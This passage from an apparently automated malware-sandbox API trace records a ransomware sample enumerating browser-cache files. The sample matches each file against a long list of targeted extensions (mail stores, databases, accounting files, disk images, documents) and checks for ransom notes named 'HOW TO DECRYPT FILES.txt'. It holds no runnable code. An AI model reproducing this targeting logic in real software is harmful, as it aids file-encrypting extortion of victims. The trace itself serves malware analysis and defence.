Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.gpg") returned 0 [0082.518] lstrlenA (lpString="*.gpg") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.vsd") returned 0 [0082.518] lstrlenA (lpString="*.vsd") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.odg") returned 0 [0082.518] lstrlenA (lpString="*.odg") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.raw") returned 0 [0082.518] lstrlenA (lpString="*.raw") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.nef") returned 0 [0082.518] lstrlenA (lpString="*.nef") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.svg") returned 0 [0082.518] lstrlenA (lpString="*.svg") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.psd") returned 0 [0082.518] lstrlenA (lpString="*.psd") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.vmx") returned 0 [0082.518] lstrlenA (lpString="*.vmx") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.vmdk") returned 0 [0082.518] lstrlenA (lpString="*.vmdk") returned 6 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.vdi") returned 0 [0082.518] lstrlenA (lpString="*.vdi") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.lay6") returned 0 [0082.518] lstrlenA (lpString="*.lay6") returned 6 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mpeg") returned 0 [0082.518] lstrlenA (lpString="*.mpeg") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.djvu") returned 0 [0082.519] lstrlenA (lpString="*.djvu") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.tiff") returned 0 [0082.519] lstrlenA (lpString="*.tiff") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.backup") returned 0 [0082.519] lstrlenA (lpString="*.backup") returned 8 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.pdf") returned 0 [0082.519] lstrlenA (lpString="*.pdf") returned 5 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.cert") returned 0 [0082.519] lstrlenA (lpString="*.cert") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.docm") returned 0 [0082.519] lstrlenA (lpString="*.docm") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.xlsm") returned 0 [0082.519] lstrlenA (lpString="*.xlsm") returned 6 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.dwg") returned 0 [0082.519] lstrlenA (lpString="*.dwg") returned 5 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.nd") returned 0 [0082.519] lstrlenA (lpString="*.nd") returned 4 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.tlg") returned 0 [0082.519] lstrlenA (lpString="*.tlg") returned 5 [0082.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.lgb") returned 0 [0082.520] lstrlenA (lpString="*.lgb") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mov") returned 0 [0082.520] lstrlenA (lpString="*.mov") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.xdw") returned 0 [0082.520] lstrlenA (lpString="*.xdw") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.ods") returned 0 [0082.520] lstrlenA (lpString="*.ods") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.wav") returned 0 [0082.520] lstrlenA (lpString="*.wav") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mp3") returned 0 [0082.520] lstrlenA (lpString="*.mp3") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.aiff") returned 0 [0082.520] lstrlenA (lpString="*.aiff") returned 6 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.flac") returned 0 [0082.520] lstrlenA (lpString="*.flac") returned 6 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.m4a") returned 0 [0082.520] lstrlenA (lpString="*.m4a") returned 5 [0082.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.csv") returned 0 [0082.520] lstrlenA (lpString="*.csv") returned 5 [0082.520] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60ef0c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60ef0c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60f16de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="google_plus_16dp[1].png", cAlternateFileName="GOOGLE~1.PNG")) returned 1 [0082.520] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.520] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="google_plus_16dp[1].png") returned -1 [0082.520] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="google_plus_16dp[1].png") returned 1 [0082.520] lstrcmpiA (lpString1="", lpString2="google_plus_16dp[1].png") returned -1 [0082.520] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]") returned="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]" [0082.520] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.521] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.521] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="google_plus_16dp[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.ems") returned 0 [0082.522] lstrlenA (lpString="*.ems") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.db") returned 0 [0082.522] lstrlenA (lpString="*.db") returned 4 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.dbf") returned 0 [0082.522] lstrlenA (lpString="*.dbf") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.myox") returned 0 [0082.522] lstrlenA (lpString="*.myox") returned 6 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.myo") returned 0 [0082.522] lstrlenA (lpString="*.myo") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbw") returned 0 [0082.522] lstrlenA (lpString="*.qbw") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbb") returned 0 [0082.522] lstrlenA (lpString="*.qbb") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbm") returned 0 [0082.522] lstrlenA (lpString="*.qbm") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbo") returned 0 [0082.522] lstrlenA (lpString="*.qbo") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbx") returned 0 [0082.522] lstrlenA (lpString="*.qbx") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qba") returned 0 [0082.522] lstrlenA (lpString="*.qba") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qby") returned 0 [0082.522] lstrlenA (lpString="*.qby") returned 5 [0082.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qbj") returned 0 [0082.523] lstrlenA (lpString="*.qbj") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.ofx") returned 0 [0082.523] lstrlenA (lpString="*.ofx") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.qif") returned 0 [0082.523] lstrlenA (lpString="*.qif") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.mye") returned 0 [0082.523] lstrlenA (lpString="*.mye") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.mbox") returned 0 [0082.523] lstrlenA (lpString="*.mbox") returned 6 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.eml") returned 0 [0082.523] lstrlenA (lpString="*.eml") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.pst") returned 0 [0082.523] lstrlenA (lpString="*.pst") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.ost") returned 0 [0082.523] lstrlenA (lpString="*.ost") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.idx") returned 0 [0082.523] lstrlenA (lpString="*.idx") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.dbx") returned 0 [0082.523] lstrlenA (lpString="*.dbx") returned 5 [0082.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.sql") returned 0 [0082.523] lstrlenA (lpString="*.sql") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.mdb") returned 0 [0082.524] lstrlenA (lpString="*.mdb") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.fdb") returned 0 [0082.524] lstrlenA (lpString="*.fdb") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.wab") returned 0 [0082.524] lstrlenA (lpString="*.wab") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.dat") returned 0 [0082.524] lstrlenA (lpString="*.dat") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.txt") returned 0 [0082.524] lstrlenA (lpString="*.txt") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.jpeg") returned 0 [0082.524] lstrlenA (lpString="*.jpeg") returned 6 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", pszSpec="*.jpg") returned 0 [0082.524] lstrlenA (lpString="*.jpg") returned 5 [0082.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", 